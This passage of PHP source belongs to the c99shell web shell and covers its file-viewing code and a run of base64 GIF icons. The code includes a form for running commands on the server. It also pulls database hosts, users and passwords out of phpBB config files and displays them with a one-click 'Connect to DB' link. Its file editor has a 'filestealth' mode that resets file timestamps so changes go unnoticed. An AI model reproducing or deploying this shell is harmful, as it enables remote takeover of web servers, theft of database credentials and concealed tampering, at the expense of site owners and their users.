  2432.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2433. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2434. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2435. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2436. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2437. <P>";
  2438.   }
  2439.   elseif ($ft == "html")
  2440.   {
  2441.    if ($white) {@ob_clean();}
  2442.    echo $r;
  2443.    if ($white) {exit;}
  2444.   }
  2445.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2446.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";}
  2447.   elseif ($ft == "phpsess")
  2448.   {
  2449.    echo "<pre>";
  2450.    $v = explode("|",$r);
  2451.    echo $v[0]."<br>";
  2452.    var_dump(unserialize($v[1]));
  2453.    echo "</pre>";
  2454.   }
  2455.   elseif ($ft == "exe")
  2456.   {
  2457.    $ext = explode(".",$f);
  2458.    $c = count($ext)-1;
  2459.    $ext = $ext[$c];
  2460.    $ext = strtolower($ext);
  2461.    $rft = "";
  2462.    foreach($exeftypes as $k=>$v)
  2463.    {
  2464.     if (in_array($ext,$v)) {$rft = $k; break;}
  2465.    }
  2466.    $cmd = str_replace("%f%",$f,$rft);
  2467.    echo "<b>Execute file:</b><form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=\"hidden\" name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=\"submit\" name=\"submit\" value=\"Execute\"></form>";
  2468.   }
  2469.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2470.   elseif ($ft == "code")
  2471.   {
  2472.    if (ereg("phpBB 2.(.*) auto-generated config file",$r))
  2473.    {
  2474.     $arr = explode("\n",$r);
  2475.     if (count($arr == 18))
  2476.     {
  2477.      include($d.$f);
  2478.      echo "<b>phpBB configuration is detected in this file!<br>";
  2479.      if ($dbms == "mysql4") {$dbms = "mysql";}
  2480.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2481.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  2482.      echo "Parameters for manual connect:<br>";
  2483.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2484.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2485.      echo "</b><hr size=\"1\" noshade>";
  2486.     }
  2487.    }
  2488.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2489.    if (!empty($white)) {@ob_clean();}
  2490.    highlight_file($d.$f);
  2491.    if (!empty($white)) {exit;}
  2492.    echo "</div>";
  2493.   }
  2494.   elseif ($ft == "download")
  2495.   {
  2496.    @ob_clean();
  2497.    header("Content-type: application/octet-stream");
  2498.    header("Content-length: ".filesize($d.$f));
  2499.    header("Content-disposition: attachment; filename=\"".$f."\";");
  2500.    echo $r;
  2501.    exit;
  2502.   }
  2503.   elseif ($ft == "notepad")
  2504.   {
  2505.    @ob_clean();
  2506.    header("Content-type: text/plain");
  2507.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2508.    echo($r);
  2509.    exit;
  2510.   }
  2511.   elseif ($ft == "img")
  2512.   {
  2513.    $inf = getimagesize($d.$f);
  2514.    if (!$white)
  2515.    {
  2516.     if (empty($imgsize)) {$imgsize = 20;}
  2517.     $width = $inf[0]/100*$imgsize;
  2518.     $height = $inf[1]/100*$imgsize;
  2519.     echo "<center><b>Size:</b>&nbsp;";
  2520.     $sizes = array("100","50","20");
  2521.     foreach ($sizes as $v)
  2522.     {
  2523.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2524.      if ($imgsize != $v ) {echo $v;}
  2525.      else {echo "<u>".$v."</u>";}
  2526.      echo "</a>&nbsp;&nbsp;&nbsp;";
  2527.     }
  2528.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2529.    }
  2530.    else
  2531.    {
  2532.     @ob_clean();
  2533.     $ext = explode($f,".");
  2534.     $ext = $ext[count($ext)-1];
  2535.     header("Content-type: ".$inf["mime"]);
  2536.     readfile($d.$f);
  2537.     exit;
  2538.    }
  2539.   }
  2540.   elseif ($ft == "edit")
  2541.   {
  2542.    if (!empty($submit))
  2543.    {
  2544.     if ($filestealth) {$stat = stat($d.$f);}
  2545.     $fp = fopen($d.$f,"w");
  2546.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2547.     else
  2548.     {
  2549.      echo "<b>Saved!</b>";
  2550.      fwrite($fp,$edit_text);
  2551.      fclose($fp);
  2552.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2553.      $r = $edit_text;
  2554.     }
  2555.    }
  2556.    $rows = count(explode("\r\n",$r));
  2557.    if ($rows < 10) {$rows = 10;}
  2558.    if ($rows > 30) {$rows = 30;}
  2559.    echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2560.   }
  2561.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2562.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2563.  }
  2564. }
  2565. }
  2566. else
  2567. {
  2568.  @ob_clean();
  2569.  $images = array(
  2570. "arrow_ltr"=>
  2571. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2572. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2573. "back"=>
  2574. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2575. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2576. "Wg0JADs=",
  2577. "buffer"=>
  2578. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2579. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2580. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2581. "change"=>
  2582. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2583. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2584. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2585. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2586. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2587. "zMshADs=",
  2588. "delete"=>
  2589. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2590. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2591. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2592. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2593. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2594. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2595. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2596. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2597. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2598. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2599. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2600. "download"=>
  2601. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2602. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2603. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2604. "forward"=>
  2605. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2606. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2607. "WqsJADs=",
  2608. "home"=>
  2609. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2610. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2611. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2612. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2613. "mode"=>
  2614. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2615. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2616. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2617. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2618. "refresh"=>
  2619. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  2620. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  2621. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  2622. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  2623. "search"=>
  2624. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2625. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2626. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2627. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2628. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2629. "setup"=>
  2630. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2631. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2632. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2633. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2634. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2635. "small_dir"=>
  2636. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2637. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2638. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2639. "small_unk"=>
  2640. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2641. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2642. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2643. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2644. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2645. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2646. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2647. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2648. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2649. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2650. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2651. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2652. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2653. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2654. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2655. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2656. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2657. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2658. "yAsokBkQADs=",
  2659. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2660. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2661. "sort_asc"=>
  2662. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2663. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2664. "sort_desc"=>
  2665. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2666. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2667. "sql_button_drop"=>
  2668. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2669. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2670. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2671. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2672. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2673. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2674. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2675. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2676. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2677. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2678. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2679. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2680. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2681. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2682. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2683. "AQEAOw==",
  2684. "sql_button_empty"=>
  2685. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2686. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2687. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2688. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2689. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2690. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2691. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2692. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2693. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2694. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2695. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2696. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2697. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2698. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2699. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2700. "sql_button_insert"=>
  2701. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2702. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2703. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2704. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2705. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2706. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2707. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2708. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2709. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2710. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2711. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2712. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2713. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2714. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2715. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2716. "up"=>
  2717. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2718. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2719. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2720. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2721. "write"=>
  2722. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2723. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2724. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2725. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2726. "ext_asp"=>
  2727. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2728. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2729. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2730. "ext_mp3"=>
  2731. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2732. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2733. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2734. "ext_avi"=>
  2735. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2736. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2737. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2738. "ext_cgi"=>
  2739. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2740. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2741. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2742. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2743. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2744. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
